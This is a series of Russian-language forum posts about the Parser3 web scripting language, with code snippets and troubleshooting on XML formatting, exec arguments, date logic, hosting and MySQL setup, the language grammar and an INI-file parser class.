"46356","Видать фича не поддерживается. Ты с таким в первый раз сталкиваешься? :)"
"46357","«не расставлять indents, там, где есть текстовые узлы».\
[code]\
	tmp = cur->children;\
	while (tmp != NULL) {\
	    if ((tmp->type == XML_TEXT_NODE) ||\
		(tmp->type == XML_CDATA_SECTION_NODE) ||\
		(tmp->type == XML_ENTITY_REF_NODE)) {\
		indent = FALSE;\
[/code]\
\
соответственно, вот это…\
[code]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document><para>ttt<br/>bb<br/>bb</para><para>hello</para></document>}] \
$tmp[^document.string[ \
	$.indent[yes]\
]]\
^tmp.save[ident.xml]\
[/code]\
\
…выравнивается так:\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<document>\
  <para>ttt<br/>bb<br/>bb</para>\
  <para>hello</para>\
</document>\
[/code]\
\
почему такая логика, не очень понятно, но что-то в этом есть."
"46358","спасибо, выяснил что если удалить пустые текстовые ноды в корневой ноде, то форматирование работает\
\
[code]\
@prepareFormat[document][rootnodes;i;node]\
$rootnodes[$document.documentElement.childNodes]\
^for[i](0;$rootnodes-1){\
	$node[$rootnodes.$i]\
	^if($node.nodeType==3 && !def ^StringHelper:Trim[$node.nodeValue]){\
		$node[^document.documentElement.removeChild[$node]]\
	}\
}\
\
\
[/code]"
"46360","не только рутовые ноды должны быть без лишних пробелов, а все\
\
[code]\
@prepareFormat[document][rootnodes]\
$rootnodes[$document.documentElement.childNodes]\
^prepareFormatChild[$document.documentElement;$rootnodes]\
###\
\
@prepareFormatChild[parent;child][i;node]\
^for[i](0;$child-1){\
	$node[$child.$i]\
	^if($node.nodeType==$xdoc:TEXT_NODE && !def ^StringHelper:Trim[$node.nodeValue]){\
		$node[^parent.removeChild[$node]]\
	}{\
		^if($node.nodeType==$xdoc:ELEMENT_NODE){\
			^prepareFormatChild[$node;$node.childNodes]\
		}\
	}\
}\
##\
[/code]"
"46361","Хочется передавать параметры из хеша.\
В exec можно передавать аргументы через точку с запятой, но вот проблемма как раз в ней.\
хочется передать строку типа \
[code]-param0 00;-param1 01;param2 02[/code]\
или\
[code]-param0;00;-param1;01;param2;02[/code]\
\
Вот код.\
#-----------------\
[code]\
@main[]\
^my_exec[\
	$.param0(00)\
	$.param1(01)\
	$.param2(02)\
]\
\
#-----------------\
@my_exec[params][_params;str;f]\
$_params[^hash::create[$params]]\
\
$str[^_params.foreach[k;v]{-$k^if(def $v){ $v}}[^;]]\
                                                ^\
                                                | проблемма в разделителе\
$f[^file::exec[script.cgi;;$str]]\
[/code]"
"46362","в данном случае в $str - строка, в которой символы ';' это просто буквы.\
когда вы подставляете эту строку в ^file::exec то её содержимое вываливается как первый параметр. строка не \"процессится\", т.е. парсер не воспринимает эти символы как управляющие конструкции (и это правильно).\
\
если можете повлиять на ваш скрипт то можете передавать параметры через env.\
\
ну а если повлиять не можете, то можете сгенерить команду, и отпроцессить её, что-то типа этого:\
\
[code]\
^process{^$f[^^file::exec[script.cgi;;$str]]}\
[/code]\
\
но как-то криво все это :)\
\
т.е. по моему это достаточно серьезное неудобство.\
\
например есть внешний скрипт (тот-же nconvert для ресайза картинок, при этом поправить его нам сложно). есть параметры, которые мы должны передать этому скрипту. количество их заранее неизвестно, они могут приходить в том числе от пользователя. и когда доходит до передачи этого списка параметров внешнему скрипту мы корячимся. \
\
2ПАФ: может сделать чтобы чтобы при вызове ^file::exec[имя файла;$.arguments[$таблица];аргумент1;аргумент2] агрументы из $таблица добавлялись к аргумент1, аргумент2?"
"46363","[code]@work_time[s_day;f_day;now]\
# Метод возвращает истину, если сейчас рабочее время и не выходной день\
# s_day - начало рабочего дня\
# f_day - конец рабочего дня\
# now - время, я обычно ставлю сейчас (объект класса date)\
\
# Определяем переменные\
# Смотрим всё ли ок с полученной датой $now\
 ^try{$t[$now.day]\
 }{\
     ^throw[work_time;$exception.source;Возможно вы не передали переменную ^$now]\
     $exception.handled(1)\
 }\
\
# Сотрим все ли ок с переданным нам временем работы\
 ^try{  \
  $s_day[^date::create[${s_day}]]\
  $f_day[^date::create[${f_day}]]\
 }{\
     ^throw[work_time;$exception.source;Возможно вы неверно ввели дату (надо - hh:mm, а у вас ${s_day} и ${f_day})]\
     $exception.handled(1)\
 }\
\
# Рабочее ли время\
  $work_time[^if($now > $s_day && $now < $f_day){1}]\
\
# Рабочий ли день\
  ^if($work_time){\
   $calendar_month[^date:calendar[rus]($now.year;$now.month)]\
   $s[^calendar_month.locate($calendar_month.5 == $now.day)]\
   $v[^calendar_month.locate($calendar_month.6 == $now.day)]\
   ^if($s || $v){$result(0);$result(1)}\
  }{$result(0)}\
\
#@work_time[]\
\
Вызов:\
$now[^date::now[]]\
$test[^work_time[7:00;18:00;${now}]]\
^if($test){Работаем}{Не работаем}[/code]"
"46364","1.\
[code]\
^try{$t[$now.day]\
 }{\
     ^throw[work_time;$exception.source;Возможно вы не передали переменную ^$now]\
     $exception.handled(1)\
 }\
[/code]\
\
\
=>\
\
[code]\
^if(!($now is \"date\")){\
     ^throw[work_time;$exception.source;Возможно вы не передали переменную ^$now]\
}\
[/code]\
\
2.\
[code]\
^if($work_time){\
  bla-bla-bla\
}\
[/code]\
\
=>\
\
[code]\
$result($work_time && $now.weekday >= 1 && $now.weekday <= 5)\
[/code]\
\
3. писать фигурные скобки без необходимости по моему незачем, т.е. $s_day[^date::create[${s_day}]] => $s_day[^date::create[$s_day]]"
"46366","Почему прасер назначен обработчиком html страниц?\
Точнее меня интересует что произойдет если его поставить обработчиком shtml страниц?\
\
Попробовал поставить и ничего страшного пока не заметил?"
"46369","Какое расширение нравится - на такое и вешайте."
"46380","У меня в CSS(который обязательно лежит в html документе) есть такая конструкция(Она выдает ошибку):\
\
[color=\"RED\"]@media screen, print {\
UL.att { list-style-image: url(\"/pic/ULattention.gif\");\
		      			  }[/color]\
Я бы конечно поместил файл в отдельный *.css чего делать не хочу.(веские причины на то есть)\
А про вопрос забыл! Как мне избавиться от обработки @ в CSS?\
Глянул в доке - символ '@' - рабочий"
"46381","Извиняюсь за мой вопрос, немного подумав я добваил в код # и всё ОК. Думаю такая конструкция будет работать во всех браузерах :)\
[color=\"RED\"]#@media screen, print {\
UL.att { list-style-image: url(\"/pic/ULattention.gif\");\
		      			  }\
}\
[/color]"
"46384","[code]@work_time[s_day;f_day;now]\
# Метод возвращает истину, если сейчас рабочее время и не выходной день\
# s_day - начало рабочего дня\
# f_day - конец рабочего дня\
# now - время, я обычно ставлю сейчас (объект класса date)\
\
# Определяем переменные\
# Смотрим всё ли ок с полученной датой $now\
  ^if(!($now is \"date\")){\
     ^throw[work_time;$exception.source;Возможно вы не передали переменную ^$now]\
  }\
\
# Сотрим все ли ок с переданным нам временем работы\
 ^try{  \
  $s_day[^date::create[$s_day]]\
  $f_day[^date::create[$f_day]]\
 }{\
     ^throw[work_time;$exception.source;Возможно вы неверно ввели дату (надо - hh:mm, а у вас ${s_day} и ${f_day})]\
     $exception.handled(1)\
 }\
\
# Рабочее ли время\
  $work_time[^if($now > $s_day && $now < $f_day){1}]\
\
# Рабочий ли день\
  $result($work_time && $now.weekday >= 1 && $now.weekday <= 5)\
#@work_time[][/code]"
"46385","[code]\
^if(!($now is \"date\")){\
   ^throw[work_time;$exception.source;Возможно вы не передали переменную ^$now]\
}\
[/code]\
\
Если не передана дата, то работаем с текущей. Так кажется лучше :)\
\
[code]\
^if(!($now is \"date\")){\
  $now[^date::now[]]\
}\
[/code]"
"46386","Возвращает только непосредственно содержимое тега <body>"
"46389","[code]\
$work_time[^if($now > $s_day && $now < $f_day){1}]\
\
$result($work_time && $now.weekday >= 1 && $now.weekday <= 5)\
[/code]\
\
=>\
\
[code]\
$result($now >= $s_day && $now <= $f_day && $now.weekday >= 1 && $now.weekday <= 5)\
[/code]"
"46390","[code]\
^file::exec[script;;-first -second third]\
[/code]\
\
со временем сделаю, чтобы так работало точно везде.\
(в общем виде — там возня с кавычками, на которой в своё время съэкономил)."
"46392","Здравствуйте!\
 \
Иногда бывает так сложно выразить довольно простую мысль.\
 \
Вот пример из документации:\
[code]\
Выберите, чем вы увлекаетесь в свободное время:\
<form method=\"POST\">\
   <p><input type=checkbox name=hobby value=\"Театр\">Театром</p>\
   <p><input type=checkbox name=hobby value=\"Кино\">Кино</p>\
   <p><input type=checkbox name=hobby value=\"Книги\">Книгами</p>\
   <p><input type=submit value=\"OK\"></p>\
</form>\
$hobby[$form:tables.hobby]\
^if($hobby){\
    Ваши хобби:<br>\
    ^hobby.menu{\
        $hobby.field\
    }[<br>]\
}{\
    Ничего не выбрано\
}\
[/code]\
\
Этим примером я могу передать на каждое поле по одному значению.\
[i]Блин, ну вот понимаю, что опять непонятно пишу.[/i]\
 \
Ладно, сама задача такова.\
 \
[b]В БД MySQL нужно изменить значение количества товара (к примеру колонка counts) в таблице baskets.[/b]\
Это получается пример любой корзины.\
 \
С уважением,\
Али."
"46393","[code]\
^MAIN:pSQL.void{\
  UPDATE\
    table\
  SET\
    count = ^count.int(0)\
  WHERE\
    id = ^id.int(0)\
}\
[/code]\
\
Или я не так понял?.."
"46394","Посмотрите сайт http://www.hitachi-online.ru/. Добавьте несколько товаров в корзину и посмотрите как у них меняется количество. Вот тоже самое хочу сделать я, просто не могу сообразить как.\
Как удалить несколько товаров из корзины? Проблем не вижу, ведь есть отличный пример в документации... НО вот с редактирование немного дело обстоит по другому."
"46395","подумалось, что кому-то может быть интересна грамматика, описанная формальным языком.\
(исходный файл: [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/compile.y?rev=HEAD&content-type=text/vnd.viewcvs-markup\"]compile.y[/url])\
\
\
all: one_big_piece\
   | methods\
\
methods: method\
       | methods method\
\
one_big_piece: maybe_codes\
\
method: control_method\
      | code_method\
\
control_method: '@' STRING '\\n' maybe_control_strings\
\
maybe_control_strings: empty\
                     | control_strings\
\
control_strings: control_string\
               | control_strings control_string\
\
control_string: maybe_string '\\n'\
\
maybe_string: empty\
            | STRING\
\
code_method: '@' STRING bracketed_maybe_strings maybe_bracketed_strings maybe_comment '\\n' maybe_codes\
\
maybe_bracketed_strings: empty\
                       | bracketed_maybe_strings\
\
bracketed_maybe_strings: '[' maybe_strings ']'\
\
maybe_strings: empty\
             | strings\
\
strings: STRING\
       | strings ';' STRING\
\
maybe_comment: empty\
             | STRING\
\
maybe_codes: empty\
           | codes\
\
codes: code\
     | codes code\
\
code: write_string\
    | action\
\
action: get\
      | put\
      | call\
\
get: get_value\
\
get_value: '$' get_name_value\
\
get_name_value: name_without_curly_rdive EON\
              | name_in_curly_rdive\
\
name_in_curly_rdive: '{' name_without_curly_rdive '}'\
\
name_without_curly_rdive: name_without_curly_rdive_read\
                        | name_without_curly_rdive_class\
\
name_without_curly_rdive_read: name_without_curly_rdive_code\
\
name_without_curly_rdive_class: class_prefix name_without_curly_rdive_code\
\
name_without_curly_rdive_code: name_advance2\
                             | name_path name_advance2\
\
put: '$' name_expr_wdive construct\
\
name_expr_wdive: name_expr_wdive_root\
               | name_expr_wdive_write\
               | name_expr_wdive_class\
\
name_expr_wdive_root: name_expr_dive_code\
\
name_expr_wdive_write: '.' name_expr_dive_code\
\
name_expr_wdive_class: class_prefix name_expr_dive_code\
\
construct: construct_square\
         | construct_round\
         | construct_curly\
\
construct_square: '[' any_constructor_code_value ']'\
\
construct_round: '(' expr_value ')'\
\
construct_curly: '{' maybe_codes '}'\
\
any_constructor_code_value: void_value\
                          | STRING\
                          | constructor_code_value\
\
constructor_code_value: constructor_code\
\
constructor_code: codes__excluding_sole_str_literal\
\
codes__excluding_sole_str_literal: action\
                                 | code codes\
\
call: call_value\
\
call_value: '^' call_name store_params EON\
\
call_name: name_without_curly_rdive\
\
store_params: store_param\
            | store_params store_param\
\
store_param: store_square_param\
           | store_round_param\
           | store_curly_param\
\
store_square_param: '[' store_code_param_parts ']'\
\
store_round_param: '(' store_expr_param_parts ')'\
\
store_curly_param: '{' store_curly_param_parts '}'\
\
store_code_param_parts: store_code_param_part\
                      | store_code_param_parts ';' store_code_param_part\
\
store_expr_param_parts: store_expr_param_part\
                      | store_expr_param_parts ';' store_expr_param_part\
\
store_curly_param_parts: store_curly_param_part\
                       | store_curly_param_parts ';' store_curly_param_part\
\
store_code_param_part: code_param_value\
\
store_expr_param_part: expr_value\
\
store_curly_param_part: maybe_codes\
\
code_param_value: void_value\
                | STRING\
                | constructor_code_value\
\
name_expr_dive_code: name_expr_value\
                   | name_path name_expr_value\
\
name_path: name_step\
         | name_path name_step\
\
name_step: name_advance1 '.'\
\
name_advance1: name_expr_value\
\
name_advance2: name_expr_value\
             | STRING BOGUS\
\
name_expr_value: STRING\
               | name_expr_subvar_value\
               | name_expr_with_subvar_value\
               | name_square_code_value\
\
name_expr_subvar_value: '$' subvar_ref_name_rdive\
\
name_expr_with_subvar_value: STRING subvar_get_writes\
\
name_square_code_value: '[' codes ']'\
\
subvar_ref_name_rdive: STRING\
\
subvar_get_writes: subvar__get_write\
                 | subvar_get_writes subvar__get_write\
\
subvar__get_write: '$' subvar_ref_name_rdive\
\
class_prefix: class_static_prefix\
            | class_constructor_prefix\
\
class_static_prefix: STRING ':'\
\
class_constructor_prefix: class_static_prefix ':'\
\
expr_value: expr\
\
expr: double_or_STRING\
    | get_value\
    | call_value\
    | '\"' string_inside_quotes_value '\"'\
    | ''' string_inside_quotes_value '''\
    | '(' expr ')'\
    | '-' expr\
    | '+' expr\
    | '~' expr\
    | '!' expr\
    | \"def\" expr\
    | \"in\" expr\
    | \"-f\" expr\
    | \"-d\" expr\
    | expr '-' expr\
    | expr '+' expr\
    | expr '*' expr\
    | expr '/' expr\
    | expr '%' expr\
    | expr '\\\\' expr\
    | expr \"<<\" expr\
    | expr \">>\" expr\
    | expr '&' expr\
    | expr '|' expr\
    | expr \"!|\" expr\
    | expr \"&&\" expr\
    | expr \"||\" expr\
    | expr \"!||\" expr\
    | expr '<' expr\
    | expr '>' expr\
    | expr \"<=\" expr\
    | expr \">=\" expr\
    | expr \"==\" expr\
    | expr \"!=\" expr\
    | expr \"lt\" expr\
    | expr \"gt\" expr\
    | expr \"le\" expr\
    | expr \"ge\" expr\
    | expr \"eq\" expr\
    | expr \"ne\" expr\
    | expr \"is\" expr\
\
double_or_STRING: STRING\
\
string_inside_quotes_value: maybe_codes\
\
write_string: STRING\
\
void_value: /* empty */\
\
empty: /* empty */"
"46396","У меня похожий глюк был, но я переустановил FCKEditor и все нормально стало."
"46398","Пишите @ после пробела.\
\
[code] @media ... [/code]\
\
Ну или избавьтесь от обработки парсером css файлов :)"
"46400","Я уже отправлял вам единожды кусок рабочего кода, только без проверок различных. Этого вполне достаточно для решения вашей проблемы.\
\
Не нужно кушать наш мозг одним и тем же вопросом в течении недели.\
\
PS. Если вы считаете, что ваши предыдущие сообщения исчезли случайно, это заблуждение с вашей стороны."
"46401","Александр, есть к Вам вопрос.\
Не планируется ли, или, может, есть обходные пути для такой вещи:\
что-то вроде компилятора для Парсера.\
Чтобы можно было отследить цепочку вызовов методов, операторов, значения переменных.\
Вот к примеру, при необработанном исключении выдаётся информация о всех вызовах, приведших к точке с ошибкой.\
Думаю, многие согласятся, что подобный функционал был бы очень полезен.\
Однако, как возможно подобное реализовать, если только не посредством полноценной среды разработки - не представляю.\
\
Возможно, что-то подобное существует для других языков и можно идею подсмотреть?"
"46403","* eclipse\
* есть отладчики для asp и php, можно пытаться пробовать изобразить их протокол, и свести задачу к решённой\
\
со стороны самого parser самое простое тут: слушать некий localhost:порт и принимать на него просьбы что-то сделать.\
и внешним скриптом общаться в одну руку с отладчиком, в другую руку с работающим Parser'ом.\
\
\
а вообще:\
многие люди считают, что отладчик, это зло."
"46404","http://www.stylusstudio.com/xsl_debugger.html\
\
(недавно в одном сложном случае нам эта штука очень помогла)\
\
"
"46405","Случайно потерял Ваш код... Хотя, если не ошибаюсь я Вам ответ написал по нему что в нём было непонятно с моей стороны.\
[quot]\
PS. Если вы считаете, что ваши предыдущие сообщения исчезли случайно, это заблуждение с вашей стороны.\
[/quot]\
[i]\
задачу в форуме опубликуйте, глядишь, кто-нибудь подскажет.\
вижу, там уже вам предлагали что-то. очевидно, вы не уловили идеи.\
про name=item123\
 \
продолжим дискуссию в форуме :)\
 \
\
Александр Петросян\
[/i]"
"46406","скорее всего у меня руки кривые, однако\
./configure --prefix=/usr/vaulter --with-shared-gc=/usr/local/lib --with-dynamic-stdcpp\
make:\
\
Making all in src\
Making all in include\
make  all-am\
Making all in main\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl     -g -O2 -MT execute.o -MD -MP -MF \".deps/execute.Tpo\"  -c -o execute.o `test -f 'execute.C' || echo './'`execute.C;  then mv \".deps/execute.Tpo\" \".deps/execute.Po\";  else rm -f \".deps/execute.Tpo\"; exit 1;  fi\
\
cc1plus: out of memory allocating 4008 bytes\
*** Error code 1\
\
Stop in /home/vaulter/parser/src/main.\
*** Error code 1\
\
Stop in /home/vaulter/parser/src.\
*** Error code 1\
\
Stop in /home/vaulter/parser."
"46408","когда компилятор совсем старый.\
\
если нет возможности поставить поновее, уберите -O2, соберётся.\
\
но тогда не ожидайте хорошей оптимизации результата :)"
"46410","Вешать на тесты"
"46411","На небольших проектах он безусловно не нужен.\
Но бывают случаи, когда приходится работать с достаточно объёмными классами, порядка 50-100 методов.\
Где просто физически сложно всё держать в голове. (Хотя, может, оно и от головы зависит...)\
К тому же удобно следить за состоянием переменных не допуская неверных входных данных, за количеством вызовов методов, производить поиск горячих точек в коде.\
\
Думаю, что если язык будет развиваться, а я искренне на это надеюсь, отладчики и некие средства разработки непременно нужны."
"46412","Признаться, не пользовался, но есть."
"46414","Hoster: GoDaddy.com\
CGI = /cgi/\
OS = Linux\
Parser = parser3_1_4_redhat73_cgi_xml.tar.gz\
Path/to/parser3 = /cgi/parser3.cgi\
\
http://www.whosephone.com/cgi/parser3.cgi responses with:\
\
/home/content/s/a/n/sanych/html/parser3.cgi\
\
read failed: No such file or directory (2), actual filename '/home/content/s/a/n/sanych/html/parser3.cgi'\
\
\
Test: http://www.whosephone.com/test/\
\
Respone: 404 [file.missing]\
\
/test/.htaccess:\
   AddHandler parsed-html html\
   Action parsed-html /cgi/parser3.cgi\
\
/test/index.html = _test.html\
\
What's wrong?"
"46416","Но ни к чему не пришли... Если найдете как сделать скажите всем.\
\
не реклама, но попробуйте http://westnic.net/, там проблем нет цена может быть выше, но value выше."
"46417","Вестника смотрел уже, пока нравится, всё слишком хорошо. Мне нужно тогда аргументированно доказать гоДадьему саппорту, что он неправ, а что именно они делают не так - не могу понять. Они (саппорт) мне предложили пофиксать все это дело за $300 долл. Мне смешно: можно три года хорошего беспроблемного (для парсера) хостинга купить, а то и поболе.\
\
Ваш случай смотрел еще до того, как пост написал: немножко отличается: у вас-то хоть тест.хтмл работал, а у меня - нет. Кстати, как на вашем сайте айти-что-то хостинг все еще гоДадди, а парсер лежит в /кги-бин/ а не в /кги/, как у них принято? Да еще и представляется: кто он. У меня сам себя похоже найти не может."
"46419","не уверен что понял о чем конец сообщения, но хостинг у меня как раз \"Вестника\". \
\
А гоДядей после нескольких часов на телефоне, кое-что получалось, но все равно у них сервер настроен через заднее место и признавать этого они не хотят. я с ними сразу завязал. \
\
А по поводу Вестника.  я могу сказать, что мне только не удалось ImageMagic настроить, но это я отношу на свой счет, потому как у меня это ни разу не получалось. Рекомендую."
"46420","[url=\"http://www.marrowsoft.com/\"]Marrowsort XSelerator 2.5[/url], которым пользуюсь я."
"46421","Спасибо!\
Уверен, штука будет полезна всем, кто будет делать расцветку синтаксиса для редакторов."
"46422","Спасибо."
"46424","На хостинге x-host.com.ua Апач работает под [b]Freebsd 5.3[/b]\
\
Установил Парсер 3.14 (собранный под freebsd49R) -- все работает отлично.\
\
Проблема лиш с MySQL.\
FAQ читал!\
Результаты поиска по слову \"libmysqlclient.so\" -- тоже читал (не один день)!\
\
\
[b]Как я настраивал MySQL[/b]\
\
1. Узнал у админа путь к клиентской библиотеке: /usr/local/lib/libmysqlclient.so  (права: 0755)\
\
2. В конфигурационный auto.p внес следующие изменеия\
[code]\
@conf[filespec]\
\
# ...\
\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/local/lib/libmysqlclient.so\
}]\
]\
\
# ...\
\
[/code]\
\
3. В папку /cgi-bin/lib/ положил драйвер libparser3mysql.so (собранный для freebsd49R) и назначил ему права 755.\
\
Получил такое сообщение об ошибке при попытке подключения к базе из Парсера:\
[b]./lib/libparser3mysql.so[/b]\
driver failed to initialize client library '/usr/local/lib/libmysqlclient.so', can't open the module\
\
\
Неужели мне прийдется собирать драйвер под Freebsd 5.3 :( ??????????"
"46428","Спасибо большое всем тем людям, которые направляли меня на путь истыный :) . Вот он результат [url=\"http://vector.edu.mhost.ru/\"]работы.[/url]"
"46429","Чего только не найдешь в Инете...\
\
http://webfile.ru/get/602459257/Imp.jpg"
"46430","А вообще на eZ Publish похоже ;)"
"46431","Это как ребенка родить - поздравляю!\
\
ЗЫ. Теперь пойдут пеленки, бессонные ночи, болячки и присыпки, зубы будут резаться и т.д. и т.п. Но все равно хорошо! ;)"
"46432","Александр. Я тут уже сетовал на некоторые шероховатости: http://www.parser.ru/forum/?id=45929 Еще ранее было замечено, что ^file:list[] ни в какую не хочет читать \"безымянные\" файлы вида '.htaccess'. Это идеологические фичи или все-таки баги, которые могут быть пофиксены в дальнейшем?\
\
Задача стоит сделать систему обновления ядра управления CMS сайта со стороннего сервера. Понятно, что можно по большому счету wget'ом через ftp все сделать, но хочется чего-то большего и платформо-независимого, в духе Парсера. Так чтобы: \"пнул и хлоп… колбаса-а\" :)\
\
ЗЫ. Оператор ^file::load[text/binary;..., который по разному работает в зависимости от режима чтения, это уж точно, имхо, баг. Извращаться приходится не по детски :("
"46433","Пытаюсь воспользоваться remotetypograf.p\
Пишет:\
\
invalid option passed\
\
[b]load[/b]"
"46437","Думаю сделать всё с помощью безтабличной верстки. Будет моим первым сайтом на CSS-верстке, тоже как и на Parser'е."
"46439",">Пытаюсь воспользоваться\
\
Как именно?\
\
Пример, который размещен на сайте, работоспособен: http://www.artlebedev.ru/tools/typograf/webservice/parser-test/example.html"
"46445","На http://atsar.ru/tp/example.html"
"46446","возможность передавать параметры и тело внешнего HTTP запроса появились только начиная с версии 3.1.2\
\
http://atsar.ru/cgi-bin/parser3.cgi"
"46447","какая у вас платформа?"
"46449","Как устроено....хотябы вот тут на сайте парсера...\
Подстановка WWW в строчку адреса?\
\
Ну вызываешь parser.ru попадаешь на www.parser.ru\
\
Javascript?"
"46453","Читайте доки господа Мидведи.\
P.S. Ссылки на доки [url=\"http://www.parser.ru/links/\"]тут[/url]"
"46454","Файлы вида:\
[code]\
[Section 1]\
param1 = AAA\
param2 = 100\
param3 = true\
...\
[Section N]\
param1 = BBB\
...\
[/code]\
\
Кто-нибудь пользует в своих конструкциях? Нельзя позаимствовать на время класс работы с ними? После скачивания обязуюсь тут же вернуть мейлом!"
"46456","http://www.parser.ru/forum/?id=45120"
"46457","Там по четыре ^if'а друг в друга вкладываются. Да и думалось, что методов должно быть поболее (создать файл, добавить параметр, убрать параметр, изменить параметр и т.д.), а не только чтение.\
\
А \"основа\" у меня похожая уже есть - на все случай жизни:\
[code]\
@method[a;b;c;d;e;f;g;h][_a;_b;_c;_d;_e;_f;_g;_h]\
...\
$result($TRUE)\
[/code]\
\
Можно пользоваться - не говорите потом что чего-то не нашли поиском. Просто искать надо уметь :)\
\
Ну нет так нет: сам буду делать!"
"46458","Добавить/изменить и т.д. - утяжелит код, насколько [i]реально[/i] востребованы эти функции?\
*.ini - в большинстве случаев, это файлы конфигурации, которые правит админ/кодер. Кроме того, часто важен порядок строк (как минимум - для сохранения комментриев), а это значит, что структура хеша усложнится.\
\
Оправдано ли это усложнение?"
"46459","А что это было?\
Не увидел..."
"46460","[quot]*.ini - в большинстве случаев, это файлы конфигурации, которые правит админ/кодер.[/quot]\
\
Во-во. В любой приличной системе управления сайтом уж если и должны быть какие-либо настройки в файлах, то они просто обязаны быть похожи на стандартные ini файлы. Иначе админы имеют право испугаться :) А попробуйте-ка заставить человека, который доселе в глаза не видел Парсер и не знаком с его диалектом, написать конфигурационный файл. На сегодня в Парсере конф-файлы: либо таблица, которую копи-пасте бессмысленно делать из окна браузера по причине её таб-делимитед структуры, которая в виде пробелов перенесется в конф.файл, либо ХЭШ! 8-О, формат которого тоже не тривиален. А простой ini файл, не критичный к пробелам, табам, переносам, который можно небрежно ручками править, это самое то что надо для админа. Ну если мы его, админа, не ненавидим за что-нибудь :)"
"46463","...создание файла/сохранение/etc избытычно для типовых задач (т.е. конфигурация)?\
имхо, можно сделать что-то по функциональности схожее с http://www.parser.ru/forum/?id=45120, только более с качественной реализацией.\
Удаление/редактирование - элементарны, т.к. это будет обычный хеш.\
\
Вопрос только в сохранении файла - но в этом случае будет необходимо усложнить структуру данных получаемого хеша.\
\
P.S. tab-delimited вполне приемлем, т.к. поддерживает комметирование, которое, правда не описано в документации(?).\
В комменте можно (даже нужно) описать: что за файл и как его редактировать.\
Для большей наглядности можно использовать разделители отличные от табуляции: http://www.parser.ru/docs/lang/?tableoptionsfmt.htm\
\
P.P.S.Есть мнение, что [i]небрежно[/i] конфигурить вредно в любом случае. Если админ чего-то правит на сервере, то он должен понимать, что именно он делает."
"46464","По остальный вопросам спорить не буду. Задам вопрос: как, на твой взгляд, удобно или нет для человека (админа) если строка комментариев в файле может быть следующих видов:\
[code]\
# тут комментарий\
param = 86 # и тут комментарий\
// и это тоже комментарий\
[Section 7] \\\\ а здесь можно дать пояснения о предназначении параметров данной секции\
[/code]\
\
Мне кажется, что это было бы удобно для админа. Мы же к чему должны стремиться? К удобству пользователя, имхо. Иначе наша работа превращается в \"вещь в себе\": сами пишем, сами настраиваем и сами эксплуатируем.\
\
И про \"избыточность\"... Кого имеем в виду? Себя или того кто будет эксплуатировать продукт? Себя жалеть не надо, имхо :)"
"46465","Все самое последнее поставил, пример работает (http://atsar.ru/tp/example.html). Точно также все записываю на encycl.atsar.ru - пишет:\
\
error receiving response: Invalid argument (22)\
\
[b]load[/b]\
\
/usr/local/apache/htdocs/encycl/remotetypograf.p(82)"
"46466","Так может error receiving response стоит интерпретировать как error loading a resource from outer space?\
\
82 $remoteTypograf[^file::load[binary;http://typograf.artlebedev.ru/webservices/typograf.asmx?parserClient;"
"46467","У меня в строчке 82 remotetypograf.p все именно так и написано."
"46468","Антон, ну читайте же внимательнее.\
\
Если на одном домене работает, а на другом нет, то сравните настройки.\
\
Я же написал: ошибка error receiving response по-видимому может означать, что сервер не может соединиться с нашим типографом."
"46469","Что-то сделал:\
[code]\
@CLASS\
ini\
#end def CLASS ini\
\
\
\
\
\
@create[name;path][_string;_now;_date]\
###################################################################################################\
^if(-f \"${path}/${name}.ini\"){\
#	$self._file[^file::load[text;${path}/${name}.ini]]\
	$_file[^file::load[text;${path}/${name}.ini]]\
	$result[$ini:CLASS]\
}{\
	$_now[^date::now[]]\
	$_date[^_now.sql-string[]]\
	$_string[# ${name}.ini. Created $_date^#0A^[Default^]^#0A]\
	^try{\
		^_string.save[${path}/${name}.ini]\
#		$self._file[^file::load[text;${path}/${name}.ini]]\
		$_file[^file::load[text;${path}/${name}.ini]]\
		$result[$ini:CLASS]\
	}{\
		$exception.handled(1)\
		$result[]\
	}\
}\
#end @create[]\
\
\
\
\
\
@get[param;section][_str;_tab;i;_begin;_end]\
###################################################################################################\
$result[]\
^if(!def $section){$section[Default]}\
$_str[$_file.text]\
$_str[^_str.match[[ \\t]*(#|//|\\\\\\\\).*\\n][gm]{^#0a}]\
$_str[^_str.match[[ \\t]+][gm]{ }]\
$_str[^_str.match[[ \\t]+^$][gm]{}]\
$_str[^_str.match[^^[ \\t]+][gm]{}]\
$_str[^_str.match[^^\\n][gm]{}]\
$_str[^_str.match[ ?= ?][gm]{^#09}]\
^_str.save[tmp.str]\
$_tab[^table::load[nameless][tmp.str]]\
^file:delete[tmp.str]\
^if(^_tab.locate[0;^#5b${section}^#5d]){\
	$_begin(^_tab.offset[])\
	^if(^_tab.locate(^_tab.0.match[^^\\x5b][m])[$.offset($_begin+1)]){$_end(^_tab.offset[]-2)}{$_end($_tab-2)}\
	^_tab.offset[set]($_begin)\
	^for[i]($_begin;$_end){\
		^_tab.offset[cur](1)\
		^if($_tab.0 eq \"$param\"){$result[$_tab.1]}\
	}\
}\
#end @get[]\
[/code]\
\
Парсит файлы вида:\
[code]\
# c.ini. Created 2005-11-05 19:27:23\
    #  dfklg dfg;sdgn;d\
[Default]   	# основная секция\
param = 6\
\
\\\\ //d gh dfgh fhdfghdfghdfghfh\
     	\\\\ gfh fgh fgh fh sfhs\
par88 = deffgh gfhdfgh dfh\
\
\
par2	 =	888 	// f		   	hkgf\
\
\
[sec1]\
	parm5 = 99\
param4 = 		Параметр искомый\
\
\
s dfgsd = 7	     	  \
[sec2]\
egfeg = 77\
dfgd = jj\
par88 = uuu\
dfgsdg 	=	 hjig kk 	\
dfg = 88\
[sec3]\
[sec4]\
sdvfsdn = 77345.nml\
dfg dfg= erg egr\
	sfgadsfg = e rg qe\
  sdfgefgf = aegagsd\
asgsg=asgsdfgad\
[/code]"
"46470","[code]\
$temp[^load[/path/to/file]]\
[/code]\
\
Такой код загружает в переменную $temp nameless-таблицу.\
\
Parser 3.1.4"
"46473","Может и неявно, т.е. в каком-то из auto.p. Специально проверил на пустом хосте - \"undefined method\".\
Parser/3.1.4 (compiled on i386-unknown-freebsd4.10)"
